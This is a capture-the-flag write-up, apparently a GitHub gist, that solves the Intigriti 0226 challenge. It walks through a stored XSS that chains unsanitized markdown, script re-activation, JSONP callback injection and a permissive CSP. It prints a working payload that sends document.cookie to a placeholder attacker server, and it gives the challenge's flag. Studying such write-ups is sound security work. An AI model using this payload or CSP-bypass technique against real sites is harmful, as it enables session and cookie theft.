Skip to content

Instantly share code, notes, and snippets.

@boffman
Created February 19, 2026 22:35
Show Gist options
  • Select an option

  • Save boffman/19e93c9780009c99a247231a6c37c120 to your computer and use it in GitHub Desktop.

Select an option

Save boffman/19e93c9780009c99a247231a6c37c120 to your computer and use it in GitHub Desktop.
Intigriti 0226 challenge writeup

Writeup for the Intigriti 0226 challenge

Author: boffman

Overview

InkDrop is a markdown-based writing platform with a Flask backend, nginx reverse proxy, and a Playwright admin bot that visits reported posts. The flag is stored as a non-httpOnly cookie on the bot's browser.

The vulnerability is a stored XSS that chains four weaknesses: unsanitized HTML in the markdown renderer, script re-activation logic in the preview JS, a JSONP endpoint with insufficient callback filtering, and a CSP that permits same-origin script loading with unrestricted outbound connections.

Vulnerability Analysis

1. No HTML Sanitization in Markdown Renderer

app.py:52-62 — The custom render_markdown function applies regex-based markdown transforms but never escapes or strips raw HTML. Any HTML tags in post content pass through to the rendered output unchanged.

def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content

2. Script Re-activation in processContent

static/js/preview.js:16-44 — The preview system fetches rendered HTML from /api/render and sets it via innerHTML, which by design does not execute <script> tags. However, the processContent function then queries the container for <script> elements whose src attribute contains /api/, clones them into new script elements, and appends them to document.body — which does execute them:

    fetch('/api/render?id=' + postId)
        .then(function(response) {
            if (!response.ok) throw new Error('Failed to load');
            return response.json();
        })
        .then(function(data) {
            const preview = document.getElementById('preview');
            preview.innerHTML = data.html;
            processContent(preview);
        })
        .catch(function(error) {
            document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
        });
    
    function processContent(container) {
        const codeBlocks = container.querySelectorAll('pre code');
        codeBlocks.forEach(function(block) {
            block.classList.add('highlighted');
        });
        
        const scripts = container.querySelectorAll('script');
        scripts.forEach(function(script) {
            if (script.src && script.src.includes('/api/')) {
                const newScript = document.createElement('script');
                newScript.src = script.src;
                document.body.appendChild(newScript);
            }
        });
    }

3. JSONP Endpoint with Weak Callback Filtering

app.py:215-233 — The /api/jsonp endpoint reflects a user-controlled callback parameter into a JavaScript response. The only filter is rejecting < and >:

if '<' in callback or '>' in callback:
    callback = 'handleData'
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')

Arbitrary JavaScript expressions (without angle brackets) are accepted as the callback name.

4. CSP Allows the Full Chain

post_view.html sets the CSP via meta tag:

default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;
  • script-src 'self' — the JSONP endpoint is same-origin, so it's a permitted script source
  • connect-src *fetch() to any external domain is allowed for exfiltration

5. Safe Mode Never Activates

preview.js:11-14 checks a CONFIG variable for safe mode, but no script ever loads /api/config, so CONFIG remains undefined and the check is always skipped.

Exploit

Payload

Post content:

<script src="/api/jsonp?callback=fetch('https://ATTACKER_SERVER/'.concat(document.cookie))//"></script>

.concat() is used instead of + to avoid + being decoded as a space in query string parsing.

Execution Flow

  1. Register an account and create a post with the payload above
  2. Report the post to trigger the admin bot
  3. The bot visits /post/{id}, which loads preview.js
  4. preview.js fetches /api/render?id={id} — returns HTML containing the <script> tag
  5. innerHTML inserts the HTML — script tag exists in the DOM but doesn't execute
  6. processContent finds the <script> (src contains /api/), clones it into a new element, appends to body — executes
  7. Browser loads /api/jsonp?callback=fetch('https://ATTACKER_SERVER/'.concat(document.cookie))//
  8. Flask returns: fetch('https://ATTACKER_SERVER/'.concat(document.cookie))//({...})
  9. The fetch() sends the bot's flag cookie to the attacker server; // comments out the trailing JSONP wrapper
  10. Received flag at attacker server: INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}

Thanks for a fun challenge 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment